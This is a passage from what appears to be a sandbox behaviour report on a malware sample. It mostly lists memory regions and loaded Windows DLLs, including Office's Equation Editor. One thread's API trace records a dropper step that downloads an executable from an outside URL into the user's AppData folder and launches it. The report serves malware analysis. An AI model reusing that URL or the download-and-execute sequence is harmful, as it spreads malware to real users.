	     region_type = private
	            name = "private_0x0000000002e80000"
	        filename = ""

Region:
	              id = 547
	        start_va = 0x2ea0000
	          end_va = 0x2edffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ea0000"
	        filename = ""

Region:
	              id = 548
	        start_va = 0x3cb0000
	          end_va = 0x3daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003cb0000"
	        filename = ""

Region:
	              id = 549
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 550
	        start_va = 0x2e80000
	          end_va = 0x2e80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002e80000"
	        filename = ""

Region:
	              id = 551
	        start_va = 0x74540000
	          end_va = 0x74545fff
	     entry_point = 0x74540000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll")

Region:
	              id = 552
	        start_va = 0x3db0000
	          end_va = 0x3deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003db0000"
	        filename = ""

Region:
	              id = 553
	        start_va = 0x3ee0000
	          end_va = 0x3fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ee0000"
	        filename = ""

Region:
	              id = 554
	        start_va = 0x74500000
	          end_va = 0x7453bfff
	     entry_point = 0x74500000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 555
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 556
	        start_va = 0x744f0000
	          end_va = 0x744f4fff
	     entry_point = 0x744f0000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll")

Region:
	              id = 557
	        start_va = 0x2ee0000
	          end_va = 0x2ee0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002ee0000"
	        filename = ""

Region:
	              id = 558
	        start_va = 0x744e0000
	          end_va = 0x744effff
	     entry_point = 0x744e0000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll")

Region:
	              id = 559
	        start_va = 0x758c0000
	          end_va = 0x758c2fff
	     entry_point = 0x758c0000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll")

Region:
	              id = 560
	        start_va = 0x3e90000
	          end_va = 0x3e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e90000"
	        filename = ""

Region:
	              id = 561
	        start_va = 0x4150000
	          end_va = 0x415ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004150000"
	        filename = ""

Region:
	              id = 562
	        start_va = 0x744d0000
	          end_va = 0x744d5fff
	     entry_point = 0x744d0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 563
	        start_va = 0x3df0000
	          end_va = 0x3e2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003df0000"
	        filename = ""

Region:
	              id = 564
	        start_va = 0x3e30000
	          end_va = 0x3e30fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003e30000"
	        filename = ""

Region:
	              id = 565
	        start_va = 0x3fe0000
	          end_va = 0x40dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fe0000"
	        filename = ""

Region:
	              id = 566
	        start_va = 0x74470000
	          end_va = 0x744c9fff
	     entry_point = 0x74470000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll")

Region:
	              id = 567
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 568
	        start_va = 0x74460000
	          end_va = 0x74467fff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll")

Region:
	              id = 710
	        start_va = 0x74450000
	          end_va = 0x74455fff
	     entry_point = 0x74450000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll")

Region:
	              id = 711
	        start_va = 0x74410000
	          end_va = 0x74447fff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 712
	        start_va = 0x3e40000
	          end_va = 0x3e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e40000"
	        filename = ""

Region:
	              id = 713
	        start_va = 0x40e0000
	          end_va = 0x40f0fff
	     entry_point = 0x40e0000
	     region_type = mapped_file
	            name = "c_20127.nls"
	        filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls")

Region:
	              id = 714
	        start_va = 0x4160000
	          end_va = 0x425ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004160000"
	        filename = ""

Region:
	              id = 715
	        start_va = 0x4340000
	          end_va = 0x437ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004340000"
	        filename = ""

Region:
	              id = 716
	        start_va = 0x743c0000
	          end_va = 0x74409fff
	     entry_point = 0x743c0000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 717
	        start_va = 0x7ef9e000
	          end_va = 0x7efa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9e000"
	        filename = ""

Region:
	              id = 718
	        start_va = 0x4380000
	          end_va = 0x446ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004380000"
	        filename = ""

Region:
	              id = 719
	        start_va = 0x4470000
	          end_va = 0x467ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004470000"
	        filename = ""

Region:
	              id = 720
	        start_va = 0x74340000
	          end_va = 0x743b7fff
	     entry_point = 0x74340000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 721
	        start_va = 0x4260000
	          end_va = 0x42e4fff
	     entry_point = 0x4260000
	     region_type = mapped_file
	            name = "eqnedt32.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe")

Region:
	              id = 722
	        start_va = 0x735b0000
	          end_va = 0x73b5afff
	     entry_point = 0x735b0000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 723
	        start_va = 0x73000000
	          end_va = 0x735aafff
	     entry_point = 0x73000000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 724
	        start_va = 0x742e0000
	          end_va = 0x7433efff
	     entry_point = 0x742e0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 725
	        start_va = 0x4470000
	          end_va = 0x456ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004470000"
	        filename = ""

Region:
	              id = 726
	        start_va = 0x4640000
	          end_va = 0x467ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004640000"
	        filename = ""

Region:
	              id = 727
	        start_va = 0x4100000
	          end_va = 0x413ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004100000"
	        filename = ""

Region:
	              id = 728
	        start_va = 0x4680000
	          end_va = 0x477ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004680000"
	        filename = ""

Region:
	              id = 729
	        start_va = 0x741e0000
	          end_va = 0x742d4fff
	     entry_point = 0x741e0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")

Region:
	              id = 730
	        start_va = 0x7ef9b000
	          end_va = 0x7ef9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9b000"
	        filename = ""

Region:
	              id = 731
	        start_va = 0x3e80000
	          end_va = 0x3e81fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003e80000"
	        filename = ""

Region:
	              id = 732
	        start_va = 0x4140000
	          end_va = 0x4143fff
	     entry_point = 0x4140000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 733
	        start_va = 0x4260000
	          end_va = 0x427ffff
	     entry_point = 0x4260000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")

Region:
	              id = 734
	        start_va = 0x4280000
	          end_va = 0x4280fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004280000"
	        filename = ""

Region:
	              id = 735
	        start_va = 0x4290000
	          end_va = 0x42bffff
	     entry_point = 0x4290000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db")

Region:
	              id = 736
	        start_va = 0x42c0000
	          end_va = 0x42c3fff
	     entry_point = 0x42c0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 737
	        start_va = 0x42d0000
	          end_va = 0x4335fff
	     entry_point = 0x42d0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 738
	        start_va = 0x751f0000
	          end_va = 0x75201fff
	     entry_point = 0x751f0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll")

Region:
	              id = 739
	        start_va = 0x75530000
	          end_va = 0x756ccfff
	     entry_point = 0x75530000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll")

Region:
	              id = 740
	        start_va = 0x76f70000
	          end_va = 0x76f96fff
	     entry_point = 0x76f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 741
	        start_va = 0x74190000
	          end_va = 0x741dbfff
	     entry_point = 0x74190000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")

Region:
	              id = 742
	        start_va = 0x74160000
	          end_va = 0x7418dfff
	     entry_point = 0x74160000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll")

Region:
	              id = 758
	        start_va = 0x4380000
	          end_va = 0x43bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004380000"
	        filename = ""

Region:
	              id = 759
	        start_va = 0x4460000
	          end_va = 0x446ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004460000"
	        filename = ""

Region:
	              id = 760
	        start_va = 0x4780000
	          end_va = 0x487ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004780000"
	        filename = ""

Region:
	              id = 761
	        start_va = 0x7ef98000
	          end_va = 0x7ef9afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef98000"
	        filename = ""


Thread:
	id = 25
	os_tid = 0xacc

	[0031.134] GlobalLock (hMem=0x600074) returned 0x358270
	[0031.134] GetProcAddress (hModule=0x75730000, lpProcName="ExpandEnvironmentStringsW") returned 0x75744173
	[0031.134] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\jsjhdhdhdhjfjhhf.exe", lpDst=0x18f088, nSize=0x104 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe") returned 0x37
	[0031.134] LoadLibraryA (lpLibFileName="Urlmon") returned 0x75ba0000
	[0031.962] GetProcAddress (hModule=0x75ba0000, lpProcName="URLDownloadToFileW") returned 0x75c366f6
	[0031.971] URLDownloadToFileW (param_1=0x0, param_2="http://rollboat.tk/new/kc.exe", param_3="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe"), param_4=0x0, param_5=0x0) returned 0x0
	[0034.945] LoadLibraryA (lpLibFileName="Shell32") returned 0x76110000
	[0034.946] GetProcAddress (hModule=0x76110000, lpProcName="ShellExecuteExW") returned 0x76131e46
	[0034.946] ShellExecuteExW (in: pExecInfo=0x18f18c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18f18c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0035.214] GetProcAddress (hModule=0x75730000, lpProcName="ExitProcess") returned 0x75747a10
	[0035.214] ExitProcess (uExitCode=0x0) 

Thread:
	id = 26
	os_tid = 0xad0


Thread:
	id = 27
	os_tid = 0xad4


Thread:
	id = 28
	os_tid = 0xad8


Thread:
	id = 29
	os_tid = 0xadc


Thread:
	id = 30
	os_tid = 0xae0


Thread:
	id = 31
	os_tid = 0xae4


Thread:
	id = 32
	os_tid = 0xae8


Thread:
	id = 52
	os_tid = 0xaec


Thread:
	id = 53
	os_tid = 0xaf0


Thread:
	id = 54
	os_tid = 0xaf4


Process:
	id = "3"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x7ac1000"
	os_pid = "0xc8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60801000"
	monitor_reason = "rpc_server"
	parent_id = "2"
	os_parent_pid = "0xac8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e3b5" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 569
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 570
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 571
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 572
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 573
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 574
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 575
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 576
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 577
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 578
	        start_va = 0x100000
	          end_va = 0x103fff
	     entry_point = 0x100000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")

Region:
	              id = 579
	        start_va = 0x110000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 580
	        start_va = 0x190000
	          end_va = 0x1a0fff
	     entry_point = 0x190000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 581
	        start_va = 0x1b0000
	          end_va = 0x1b1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 582
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 583
	        start_va = 0x1d0000
	          end_va = 0x1d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 584
	        start_va = 0x1f0000
	          end_va = 0x2effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 585
	        start_va = 0x2f0000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002f0000"
	        filename = ""

Region:
	              id = 586
	        start_va = 0x3a0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003a0000"
	        filename = ""

Region:
	              id = 587
	        start_va = 0x3b0000
	          end_va = 0x4affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003b0000"
	        filename = ""

Region:
	              id = 588
	        start_va = 0x4b0000
	          end_va = 0x637fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004b0000"
	        filename = ""

Region:
	              id = 589
	        start_va = 0x640000
	          end_va = 0x7c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000640000"
	        filename = ""

Region:
	              id = 590
	        start_va = 0x7d0000
	          end_va = 0x88ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007d0000"
	        filename = ""

Region:
	              id = 591
	        start_va = 0x890000
	          end_va = 0xc82fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000890000"
	        filename = ""

Region:
	              id = 592
	        start_va = 0xcd0000
	          end_va = 0xd4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cd0000"
	        filename = ""

Region:
	              id = 593
	        start_va = 0xd50000
	          end_va = 0xdcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d50000"
	        filename = ""

Region:
	              id = 594
	        start_va = 0xdf0000
	          end_va = 0xe6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000df0000"
	        filename = ""

Region:
	              id = 595
	        start_va = 0xf40000
	          end_va = 0x120efff
	     entry_point = 0xf40000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 596
	        start_va = 0x1210000
	          end_va = 0x130ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001210000"
	        filename = ""

Region:
	              id = 597
	        start_va = 0x1310000
	          end_va = 0x138ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 598
	        start_va = 0x1400000
	          end_va = 0x147ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001400000"
	        filename = ""

Region:
	              id = 599
	        start_va = 0x1480000
	          end_va = 0x157ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001480000"
	        filename = ""

Region:
	              id = 600
	        start_va = 0x1580000
	          end_va = 0x163ffff
	     entry_point = 0x1580000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 601
	        start_va = 0x1640000
	          end_va = 0x16bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001640000"
	        filename = ""

Region:
	              id = 602
	        start_va = 0x1700000
	          end_va = 0x177ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001700000"
	        filename = ""

Region:
	              id = 603
	        start_va = 0x17b0000
	          end_va = 0x182ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017b0000"
	        filename = ""

Region:
	              id = 604
	        start_va = 0x1870000
	          end_va = 0x187ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001870000"
	        filename = ""

Region:
	              id = 605
	        start_va = 0x1880000
	          end_va = 0x18fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001880000"
	        filename = ""

Region:
	              id = 606
	        start_va = 0x1910000
	          end_va = 0x198ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001910000"
	        filename = ""

Region:
	              id = 607
	        start_va = 0x1a00000
	          end_va = 0x1a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a00000"
	        filename = ""

Region:
	              id = 608
	        start_va = 0x1ab0000
	          end_va = 0x1b2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ab0000"
	        filename = ""

Region:
	              id = 609
	        start_va = 0x1bd0000
	          end_va = 0x1c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001bd0000"
	        filename = ""

Region:
	              id = 610
	        start_va = 0x1c80000
	          end_va = 0x1cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c80000"
	        filename = ""

Region:
	              id = 611
	        start_va = 0x1d00000
	          end_va = 0x1d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d00000"
	        filename = ""

Region:
	              id = 612
	        start_va = 0x1e30000
	          end_va = 0x1eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e30000"
	        filename = ""

Region:
	              id = 613
	        start_va = 0x1eb0000
	          end_va = 0x1f2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001eb0000"
	        filename = ""

Region:
	              id = 614
	        start_va = 0x1f70000
	          end_va = 0x1feffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f70000"
	        filename = ""

Region:
	              id = 615
	        start_va = 0x1ff0000
	          end_va = 0x206ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ff0000"
	        filename = ""

Region:
	              id = 616
	        start_va = 0x2070000
	          end_va = 0x207ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002070000"
	        filename = ""

Region:
	              id = 617
	        start_va = 0x2150000
	          end_va = 0x21cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002150000"
	        filename = ""

Region:
	              id = 618
	        start_va = 0x21d0000
	          end_va = 0x23cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021d0000"
	        filename = ""

Region:
	              id = 619
	        start_va = 0x23d0000
	          end_va = 0x24cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023d0000"
	        filename = ""

Region:
	              id = 620
	        start_va = 0x25a0000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025a0000"
	        filename = ""

Region:
	              id = 621
	        start_va = 0x73de0000
	          end_va = 0x73de2fff
	     entry_point = 0x73de0000
	     region_type = mapped_file
	            name = "sfc.dll"
	        filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll")

Region:
	              id = 622
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x77230000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 623
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 624
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 625
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 626
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 627
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 628
	        start_va = 0xff940000
	          end_va = 0xff94afff
	     entry_point = 0xff940000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 629
	        start_va = 0x7fef2830000
	          end_va = 0x7fef288ffff
